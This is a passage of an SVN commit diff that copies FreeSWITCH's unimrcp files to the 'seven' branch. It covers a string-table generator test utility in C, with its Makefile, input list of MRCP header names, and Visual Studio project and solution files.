Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES             = -I$(top_srcdir)/libs/apr-toolkit/include \
+                       $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_PROGRAMS      = strtablegen
+strtablegen_LDADD    = $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                       $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS)
+strtablegen_SOURCES  = src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/src (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include "apt_pool.h"
+#include "apt_string_table.h"
+#include "apt_text_stream.h"
+
+static apt_bool_t is_unique(const apt_str_table_item_t table[], apr_size_t count, 
+							apr_size_t item_index, apr_size_t char_index, char value)
+{
+	size_t i;
+	const char *buf;
+	for(i=0; i<count; i++) {
+		buf = table[i].value.buf;
+		if(i != item_index && char_index < table[i].value.length && 
+			tolower(value) == tolower(buf[char_index])) {
+			return FALSE;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t string_table_key_generate(apt_str_table_item_t table[], apr_size_t count)
+{
+	size_t i,j;
+	size_t length;
+	for(i=0; i<count; i++) {
+		length = table[i].value.length;
+		table[i].key = length;
+		for(j=0; j<length; j++) {
+			if(is_unique(table,count,i,j,table[i].value.buf[j]) == TRUE) {
+				table[i].key = j;
+				break;
+			}
+		}
+	}
+	return TRUE;
+}
+
+#define TEST_BUFFER_SIZE 2048
+static char parse_buffer[TEST_BUFFER_SIZE];
+
+static size_t string_table_read(apt_str_table_item_t table[], apr_size_t max_count, FILE *file, apr_pool_t *pool)
+{
+	apt_str_table_item_t *item;
+	size_t count = 0;
+	apt_str_t line;
+	apt_text_stream_t text_stream;
+
+	text_stream.text.length = fread(parse_buffer, 1, sizeof(parse_buffer)-1, file);
+	parse_buffer[text_stream.text.length] = '\0';
+	text_stream.text.buf = parse_buffer;
+	text_stream.pos = parse_buffer;
+
+	do {
+		if(apt_text_line_read(&text_stream,&line) == FALSE || !line.length) {
+			break;
+		}
+		item = &table[count];
+		apt_string_copy(&item->value,&line,pool);
+		item->key = 0;
+		count++;
+	}
+	while(count < max_count);
+
+	return count;
+}
+
+static apt_bool_t string_table_write(const apt_str_table_item_t table[], apr_size_t count, FILE *file)
+{
+	size_t i;
+	const apt_str_table_item_t *item;
+	for(i=0; i<count; i++) {
+		item = &table[i];
+		fprintf(file,"{{\"%s\",%"APR_SIZE_T_FMT"},%"APR_SIZE_T_FMT"},\r\n",
+			item->value.buf, item->value.length, item->key);
+	}
+	return TRUE;
+}
+
+int main(int argc, char *argv[])
+{
+	apr_pool_t *pool = NULL;
+	apt_str_table_item_t table[100];
+	size_t count;
+	FILE *file_in, *file_out;
+
+	/* one time apr global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		return 0;
+	}
+	pool = apt_pool_create();
+
+	if(argc < 2) {
+		printf("usage: stringtablegen stringtable.in [stringtable.out]\n");
+		return 0;
+	}
+	file_in = fopen(argv[1], "rb");
+	if(file_in == NULL) {
+		printf("cannot open file %s\n", argv[1]);
+		return 0;
+	}
+
+	if(argc > 2) {
+		file_out = fopen(argv[2], "wb");
+	}
+	else {
+		file_out = stdout;
+	}
+
+	/* read items (strings) from the file */
+	count = string_table_read(table,100,file_in,pool);
+
+	/* generate string table */
+	string_table_key_generate(table,count);
+	
+	/* dump string table to the file */
+	string_table_write(table,count,file_out);
+
+	fclose(file_in);
+	if(file_out != stdout) {
+		fclose(file_out);
+	}
+
+	apr_pool_destroy(pool);
+	/* final apr global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/stringtable.in

Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/stringtable.in (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen/stringtable.in) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/stringtable.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/stringtable.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+Channel-Identifier
+Active-Request-Id-List
+Proxy-Sync-Id
+Accept-Charset
+Content-Type
+Content-Id
+Content-Base
+Content-Encoding
+Content-Location
+Content-Length
+Cache-Control
+Logging-Tag

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/strtablegen.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/strtablegen.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen/strtablegen.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/strtablegen.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/strtablegen.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,163 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="strtablegen"
+	ProjectGUID="{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}"
+	RootNamespace="strtablegen"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/unimrcp/unimrcp.sln

Copied: freeswitch/branches/seven/libs/unimrcp/unimrcp.sln (from rev 14471, freeswitch/trunk/libs/unimrcp/unimrcp.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/unimrcp.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/unimrcp.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,293 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "libs", "libs", "{5377DC3A-DB96-4819-8AAF-2A75F3A69119}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "modules", "modules", "{493A1DB9-6E7C-48C7-93B5-F75C3C25B9DF}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "platforms", "platforms", "{8E282AE2-038C-49FE-AC67-BC9615AFD800}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "plugins", "plugins", "{09BABD45-8F30-4F99-B8B8-8DD78F6804DB}"
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "tests", "tests", "{AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unimrcpserver", "platforms\unimrcp-server\unimrcpserver.vcproj", "{592CF22D-3F8F-4A77-A174-130D77B7623B}"
+	ProjectSection(ProjectDependencies) = postProject
+		{C98AF157-352E-4737-BD30-A24E2647F5AE} = {C98AF157-352E-4737-BD30-A24E2647F5AE}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "aprtoolkit", "libs\apr-toolkit\aprtoolkit.vcproj", "{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mpf", "libs\mpf\mpf.vcproj", "{B5A00BFA-6083-4FAE-A097-71642D6473B5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcp", "libs\mrcp\mrcp.vcproj", "{1C320193-46A6-4B34-9C56-8AB584FC1B56}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpsignaling", "libs\mrcp-signaling\mrcpsignaling.vcproj", "{12A49562-BAB9-43A3-A21D-15B60BBB4C31}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56} = {1C320193-46A6-4B34-9C56-8AB584FC1B56}
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5} = {B5A00BFA-6083-4FAE-A097-71642D6473B5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpserver", "libs\mrcp-server\mrcpserver.vcproj", "{18B1F35A-10F8-4287-9B37-2D10501B0B38}"
+	ProjectSection(ProjectDependencies) = postProject
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA} = {A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31} = {12A49562-BAB9-43A3-A21D-15B60BBB4C31}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libunimrcpserver", "platforms\libunimrcp-server\libunimrcpserver.vcproj", "{C98AF157-352E-4737-BD30-A24E2647F5AE}"
+	ProjectSection(ProjectDependencies) = postProject
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E} = {746F3632-5BB2-4570-9453-31D6D58A7D8E}
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38} = {18B1F35A-10F8-4287-9B37-2D10501B0B38}
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9} = {DEB01ACB-D65F-4A62-AED9-58C1054499E9}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpsofiasip", "modules\mrcp-sofiasip\mrcpsofiasip.vcproj", "{746F3632-5BB2-4570-9453-31D6D58A7D8E}"
+	ProjectSection(ProjectDependencies) = postProject
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA} = {A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31} = {12A49562-BAB9-43A3-A21D-15B60BBB4C31}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpclient", "libs\mrcp-client\mrcpclient.vcproj", "{72782932-37CC-46AE-8C7F-9A7B1A6EE108}"
+	ProjectSection(ProjectDependencies) = postProject
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31} = {12A49562-BAB9-43A3-A21D-15B60BBB4C31}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libunimrcpclient", "platforms\libunimrcp-client\libunimrcpclient.vcproj", "{EE157390-1E85-416C-946E-620E32C9AD33}"
+	ProjectSection(ProjectDependencies) = postProject
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108} = {72782932-37CC-46AE-8C7F-9A7B1A6EE108}
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E} = {746F3632-5BB2-4570-9453-31D6D58A7D8E}
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9} = {DEB01ACB-D65F-4A62-AED9-58C1054499E9}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unimrcpclient", "platforms\unimrcp-client\unimrcpclient.vcproj", "{57FAF32E-49FD-491F-895D-132D0D5EFE0A}"
+	ProjectSection(ProjectDependencies) = postProject
+		{EE157390-1E85-416C-946E-620E32C9AD33} = {EE157390-1E85-416C-946E-620E32C9AD33}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpv2transport", "libs\mrcpv2-transport\mrcpv2transport.vcproj", "{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56} = {1C320193-46A6-4B34-9C56-8AB584FC1B56}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpengine", "libs\mrcp-engine\mrcpengine.vcproj", "{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56} = {1C320193-46A6-4B34-9C56-8AB584FC1B56}
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5} = {B5A00BFA-6083-4FAE-A097-71642D6473B5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "demosynth", "plugins\demo-synth\demosynth.vcproj", "{92BFA534-C419-4EB2-AAA3-510653F38F08}"
+	ProjectSection(ProjectDependencies) = postProject
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "demorecog", "plugins\demo-recog\demorecog.vcproj", "{B495B6D9-AF84-479D-B30A-313C16EF8BFD}"
+	ProjectSection(ProjectDependencies) = postProject
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "strtablegen", "tests\strtablegen\strtablegen.vcproj", "{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}"
+	ProjectSection(ProjectDependencies) = postProject
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "apttest", "tests\apttest\apttest.vcproj", "{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}"
+	ProjectSection(ProjectDependencies) = postProject
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mpftest", "tests\mpftest\mpftest.vcproj", "{DCF01B1C-5268-44F3-9130-D647FABFB663}"
+	ProjectSection(ProjectDependencies) = postProject
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5} = {B5A00BFA-6083-4FAE-A097-71642D6473B5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcptest", "tests\mrcptest\mrcptest.vcproj", "{3CA97077-6210-4362-998A-D15A35EEAA08}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56} = {1C320193-46A6-4B34-9C56-8AB584FC1B56}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpcepstral", "plugins\mrcp-cepstral\mrcpcepstral.vcproj", "{729EF28E-38C9-40DE-A138-87785F021411}"
+	ProjectSection(ProjectDependencies) = postProject
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}
+	EndProjectSection
+EndProject
+Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "tools", "tools", "{62083CC3-13BF-49EA-BFE8-4C9337C0D82C}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unirtsp", "libs\uni-rtsp\unirtsp.vcproj", "{504B3154-7A4F-459D-9877-B951021C3F1F}"
+	ProjectSection(ProjectDependencies) = postProject
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rtsptest", "tests\rtsptest\rtsptest.vcproj", "{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}"
+	ProjectSection(ProjectDependencies) = postProject
+		{504B3154-7A4F-459D-9877-B951021C3F1F} = {504B3154-7A4F-459D-9877-B951021C3F1F}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpunirtsp", "modules\mrcp-unirtsp\mrcpunirtsp.vcproj", "{DEB01ACB-D65F-4A62-AED9-58C1054499E9}"
+	ProjectSection(ProjectDependencies) = postProject
+		{504B3154-7A4F-459D-9877-B951021C3F1F} = {504B3154-7A4F-459D-9877-B951021C3F1F}
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31} = {12A49562-BAB9-43A3-A21D-15B60BBB4C31}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "prepare", "build\tools\prepare.vcproj", "{01D63BF5-7798-4746-852A-4B45229BB735}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unimrcpservice", "build\tools\unimrcpservice.vcproj", "{4714EF49-BFD5-4B22-95F7-95A07F1EAC25}"
+	ProjectSection(ProjectDependencies) = postProject
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcppocketsphinx", "plugins\mrcp-pocketsphinx\mrcppocketsphinx.vcproj", "{3C614AE8-B611-4D43-A9AF-1CAA440A9F69}"
+	ProjectSection(ProjectDependencies) = postProject
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mrcpflite", "plugins\mrcp-flite\mrcpflite.vcproj", "{56F6FB96-2BC7-4CAE-A8BF-6A0FAEC90556}"
+	ProjectSection(ProjectDependencies) = postProject
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "preparesphinx", "build\tools\preparesphinx.vcproj", "{71D62A04-8EF6-4C6B-AC12-0C15A875E53A}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{592CF22D-3F8F-4A77-A174-130D77B7623B}.Debug|Win32.ActiveCfg = Debug|Win32
+		{592CF22D-3F8F-4A77-A174-130D77B7623B}.Debug|Win32.Build.0 = Debug|Win32
+		{592CF22D-3F8F-4A77-A174-130D77B7623B}.Release|Win32.ActiveCfg = Release|Win32
+		{592CF22D-3F8F-4A77-A174-130D77B7623B}.Release|Win32.Build.0 = Release|Win32
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}.Debug|Win32.ActiveCfg = Debug|Win32
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}.Debug|Win32.Build.0 = Debug|Win32
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}.Release|Win32.ActiveCfg = Release|Win32
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}.Release|Win32.Build.0 = Release|Win32
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5}.Debug|Win32.ActiveCfg = Debug|Win32
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5}.Debug|Win32.Build.0 = Debug|Win32
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5}.Release|Win32.ActiveCfg = Release|Win32
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5}.Release|Win32.Build.0 = Release|Win32
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56}.Debug|Win32.Build.0 = Debug|Win32
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56}.Release|Win32.ActiveCfg = Release|Win32
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56}.Release|Win32.Build.0 = Release|Win32
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31}.Debug|Win32.ActiveCfg = Debug|Win32
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31}.Debug|Win32.Build.0 = Debug|Win32
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31}.Release|Win32.ActiveCfg = Release|Win32
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31}.Release|Win32.Build.0 = Release|Win32
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38}.Debug|Win32.ActiveCfg = Debug|Win32
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38}.Debug|Win32.Build.0 = Debug|Win32
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38}.Release|Win32.ActiveCfg = Release|Win32
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38}.Release|Win32.Build.0 = Release|Win32
+		{C98AF157-352E-4737-BD30-A24E2647F5AE}.Debug|Win32.ActiveCfg = Debug|Win32
+		{C98AF157-352E-4737-BD30-A24E2647F5AE}.Debug|Win32.Build.0 = Debug|Win32
+		{C98AF157-352E-4737-BD30-A24E2647F5AE}.Release|Win32.ActiveCfg = Release|Win32
+		{C98AF157-352E-4737-BD30-A24E2647F5AE}.Release|Win32.Build.0 = Release|Win32
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E}.Debug|Win32.ActiveCfg = Debug|Win32
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E}.Debug|Win32.Build.0 = Debug|Win32
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E}.Release|Win32.ActiveCfg = Release|Win32
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E}.Release|Win32.Build.0 = Release|Win32
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108}.Debug|Win32.ActiveCfg = Debug|Win32
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108}.Debug|Win32.Build.0 = Debug|Win32
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108}.Release|Win32.ActiveCfg = Release|Win32
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108}.Release|Win32.Build.0 = Release|Win32
+		{EE157390-1E85-416C-946E-620E32C9AD33}.Debug|Win32.ActiveCfg = Debug|Win32
+		{EE157390-1E85-416C-946E-620E32C9AD33}.Debug|Win32.Build.0 = Debug|Win32
+		{EE157390-1E85-416C-946E-620E32C9AD33}.Release|Win32.ActiveCfg = Release|Win32
+		{EE157390-1E85-416C-946E-620E32C9AD33}.Release|Win32.Build.0 = Release|Win32
+		{57FAF32E-49FD-491F-895D-132D0D5EFE0A}.Debug|Win32.ActiveCfg = Debug|Win32
+		{57FAF32E-49FD-491F-895D-132D0D5EFE0A}.Debug|Win32.Build.0 = Debug|Win32
+		{57FAF32E-49FD-491F-895D-132D0D5EFE0A}.Release|Win32.ActiveCfg = Release|Win32
+		{57FAF32E-49FD-491F-895D-132D0D5EFE0A}.Release|Win32.Build.0 = Release|Win32
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}.Debug|Win32.ActiveCfg = Debug|Win32
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}.Debug|Win32.Build.0 = Debug|Win32
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}.Release|Win32.ActiveCfg = Release|Win32
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}.Release|Win32.Build.0 = Release|Win32
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}.Debug|Win32.ActiveCfg = Debug|Win32
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}.Debug|Win32.Build.0 = Debug|Win32
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}.Release|Win32.ActiveCfg = Release|Win32
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C}.Release|Win32.Build.0 = Release|Win32
+		{92BFA534-C419-4EB2-AAA3-510653F38F08}.Debug|Win32.ActiveCfg = Debug|Win32
+		{92BFA534-C419-4EB2-AAA3-510653F38F08}.Debug|Win32.Build.0 = Debug|Win32
+		{92BFA534-C419-4EB2-AAA3-510653F38F08}.Release|Win32.ActiveCfg = Release|Win32
+		{92BFA534-C419-4EB2-AAA3-510653F38F08}.Release|Win32.Build.0 = Release|Win32
+		{B495B6D9-AF84-479D-B30A-313C16EF8BFD}.Debug|Win32.ActiveCfg = Debug|Win32
